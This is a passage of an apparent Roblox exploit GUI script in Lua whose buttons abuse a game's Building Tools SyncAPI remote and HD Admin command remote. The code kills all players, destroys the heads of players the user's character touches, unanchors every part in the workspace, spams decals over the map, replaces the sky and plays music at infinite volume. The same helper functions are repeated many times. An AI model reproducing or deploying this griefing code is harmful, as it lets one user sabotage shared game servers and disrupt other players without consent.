[2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end local player = game.Players.LocalPlayer local char = player.Character function xd() spawn(function() local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.Torso, ["Transparency"] = 1 }, [2] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Leg"), ["Transparency"] = 1 }, [3] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart, ["Transparency"] = 1 }, [4] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Leg"), ["Transparency"] = 1 }, [5] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Arm"), ["Transparency"] = 1 }, [6] = { ["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Arm"), ["Transparency"] = 1 }, [7] = { ["Part"] = game:GetService("Players").LocalPlayer.Character.Head, ["Transparency"] = 1 }, } } _(args) end) end function Thomas(player) SetAnchor(true,char.HumanoidRootPart) CreatePart(char.HumanoidRootPart.CFrame,char,"Normal") SetCollision(char.Part,false) SetLocked(char.Part,false) Resize(char.Part,Vector3.new(5,5,10),char.HumanoidRootPart.CFrame) CreateSpotlight(char.Part) SyncLighting(char.Part,100) SetLocked(char.HumanoidRootPart,false) Weld(char.Part,char.HumanoidRootPart,char.Part) SetAnchor(false,char.Part) AddMesh(char.Part) MeshResize(char.Part,Vector3.new(2,2,1.5)) SetMesh(char.Part,"2231280549") SetTexture(char.Part,"2231280614") SetAnchor(false,char.HumanoidRootPart) char.Humanoid.WalkSpeed = 80 local function SFX(id) local s=Instance.new("Sound",char.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end char.Part.Touched:connect(function(p) if p.Parent then if p.Parent:IsA("Model") then if game.Players:FindFirstChild(p.Parent.Name) then if p.Parent.Name ~= game.Players.LocalPlayer.Name then spawn(function() DestroyPart(game.Players:FindFirstChild(p.Parent.Name).Character.Head) end) local Whistle = SFX(475073913) Whistle:Play() end end end end end) local Music = SFX(0) Music.Pitch = 1.15 Music:Play() game:GetService("RunService").RenderStepped:Connect(function() for i,v in char:GetDescendants() do if v:IsA("BasePart") then char.Humanoid.WalkSpeed = 70 v.CanCollide = false end end end) end Thomas(player) xd() end) theme.Name = "theme" theme.Parent = TextLabel_4 theme.BackgroundColor3 = Color3.fromRGB(0, 0, 0) theme.BorderColor3 = Color3.fromRGB(0, 53, 11) theme.Position = UDim2.new(-0.970588207, 0, -50.0714264, 0) theme.Size = UDim2.new(0, 53, 0, 24) theme.Font = Enum.Font.SourceSans theme.Text = "play k00p's theme" theme.TextColor3 = Color3.fromRGB(255, 255, 255) theme.TextScaled = true theme.TextSize = 14.000 theme.TextWrapped = true theme.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 1839246711 ;volume inf ;pitch 1.04") end) antileave.Name = "antileave" antileave.Parent = TextLabel_4 antileave.BackgroundColor3 = Color3.fromRGB(0, 0, 0) antileave.BorderColor3 = Color3.fromRGB(0, 53, 11) antileave.Position = UDim2.new(-0.870588183, 0, -29.3571453, 0) antileave.Size = UDim2.new(0, 99, 0, 39) antileave.Font = Enum.Font.SourceSans antileave.Text = "Insert Anti-Leave [OP WARNING]" antileave.TextColor3 = Color3.fromRGB(255, 255, 255) antileave.TextScaled = true antileave.TextSize = 14.000 antileave.TextWrapped = true eses.Name = "eses" eses.Parent = TextLabel_4 eses.BackgroundColor3 = Color3.fromRGB(0, 0, 0) eses.BorderColor3 = Color3.fromRGB(0, 53, 11) eses.Position = UDim2.new(-0.870588183, 0, -39.5714302, 0) eses.Size = UDim2.new(0, 99, 0, 39) eses.Font = Enum.Font.SourceSans eses.Text = "c00lify" eses.TextColor3 = Color3.fromRGB(255, 255, 255) eses.TextScaled = true eses.TextSize = 14.000 eses.TextWrapped = true eses.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(7000, 7000, 7000)) SetLocked(v,true) end end end Sky("15198649455") local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("15198649455") end) dreemy.Name = "dreemy" dreemy.Parent = TextLabel_4 dreemy.BackgroundColor3 = Color3.fromRGB(0, 0, 0) dreemy.BorderColor3 = Color3.fromRGB(0, 53, 11) dreemy.Position = UDim2.new(-0.223999918, 0, -22.9285717, 0) dreemy.Size = UDim2.new(0, 99, 0, 39) dreemy.Font = Enum.Font.SourceSans dreemy.Text = "ambatakam sky" dreemy.TextColor3 = Color3.fromRGB(255, 255, 255) dreemy.TextScaled = true dreemy.TextSize = 14.000 dreemy.TextWrapped = true dreemy.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(7000, 7000, 7000)) SetLocked(v,true) end end end Sky("201208408") end) shamsterky.Name = "shamsterky" shamsterky.Parent = TextLabel_4 shamsterky.BackgroundColor3 = Color3.fromRGB(0, 0, 0) shamsterky.BorderColor3 = Color3.fromRGB(0, 53, 11) shamsterky.Position = UDim2.new(-0.86511761, 0, -19.5, 0) shamsterky.Size = UDim2.new(0, 99, 0, 39) shamsterky.Font = Enum.Font.SourceSans shamsterky.Text = "funny hamster doing melting a funny thing skybox" shamsterky.TextColor3 = Color3.fromRGB(255, 255, 255) shamsterky.TextScaled = true shamsterky.TextSize = 14.000 shamsterky.TextWrapped = true shamsterky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(7000, 7000, 7000)) SetLocked(v,true) end end end Sky("12293485603") end) sky2.Name = "sky2" sky2.Parent = TextLabel_4 sky2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) sky2.BorderColor3 = Color3.fromRGB(0, 53, 11) sky2.Position = UDim2.new(0.0670000017, 0, -46.5, 0) sky2.Size = UDim2.new(0, 47, 0, 39) sky2.Font = Enum.Font.SourceSans sky2.Text = "SkyBox 2" sky2.TextColor3 = Color3.fromRGB(255, 255, 255) sky2.TextScaled = true sky2.TextSize = 14.000 sky2.TextWrapped = true sky2.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(7000, 7000, 7000)) SetLocked(v,true) end end end Sky("11426185601") end) kill.Name = "kill" kill.Parent = TextLabel_4 kill.BackgroundColor3 = Color3.fromRGB(0, 0, 0) kill.BorderColor3 = Color3.fromRGB(0, 53, 11) kill.Position = UDim2.new(0.388235331, 0, -36.0714302, 0) kill.Size = UDim2.new(0, 99, 0, 39) kill.Font = Enum.Font.SourceSans kill.Text = "Kill all" kill.TextColor3 = Color3.fromRGB(255, 255, 255) kill.TextScaled = true kill.TextSize = 14.000 kill.TextWrapped = true kill.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";kill all") end) musicbypas10_2.Name = "music bypas 10" musicbypas10_2.Parent = TextLabel_4 musicbypas10_2.Active = false musicbypas10_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas10_2.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas10_2.Position = UDim2.new(-0.86488241, 0, -22.7857151, 400) musicbypas10_2.Size = UDim2.new(0, 99, 0, 39) musicbypas10_2.Font = Enum.Font.SourceSans musicbypas10_2.Text = "Stadium Rave (A)" musicbypas10_2.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas10_2.TextScaled = true musicbypas10_2.TextSize = 14.000 musicbypas10_2.TextWrapped = true randcol.Name = "randcol" randcol.Parent = TextLabel_4 randcol.BackgroundColor3 = Color3.fromRGB(0, 0, 0) randcol.BorderColor3 = Color3.fromRGB(0, 53, 11) randcol.Position = UDim2.new(-0.229867011, 0, -19.514286, 0) randcol.Size = UDim2.new(0, 97, 0, 39) randcol.Font = Enum.Font.SourceSans randcol.Text = "Random Colors (BROKEN AND IM LAZY)" randcol.TextColor3 = Color3.fromRGB(255, 255, 255) randcol.TextScaled = true randcol.TextSize = 14.000 randcol.TextWrapped = true unanchor.Name = "unanchor" unanchor.Parent = TextLabel_4 unanchor.BackgroundColor3 = Color3.fromRGB(0, 0, 0) unanchor.BorderColor3 = Color3.fromRGB(0, 53, 11) unanchor.Position = UDim2.new(-0.870588183, 0, -36.0714302, 0) unanchor.Size = UDim2.new(0, 99, 0, 39) unanchor.Font = Enum.Font.SourceSans unanchor.Text = "UnAnchor" unanchor.TextColor3 = Color3.fromRGB(255, 255, 255) unanchor.TextScaled = true unanchor.TextSize = 14.000 unanchor.TextWrapped = true unanchor.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Unanchor() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) SetAnchor(false,v) end) end end Unanchor() end) toad.Name = "toad" toad.Parent = TextLabel_4 toad.BackgroundColor3 = Color3.fromRGB(0, 0, 0) toad.BorderColor3 = Color3.fromRGB(0, 53, 11) toad.Position = UDim2.new(0.388235331, 0, -39.5714302, 0) toad.Size = UDim2.new(0, 99, 0, 39) toad.Font = Enum.Font.SourceSans toad.Text = "toadroasted remake" toad.TextColor3 = Color3.fromRGB(255, 255, 255) toad.TextScaled = true toad.TextSize = 14.000 toad.TextWrapped = true toad.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";sm get toadroasted by kOOpkidd (Remake)") local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function 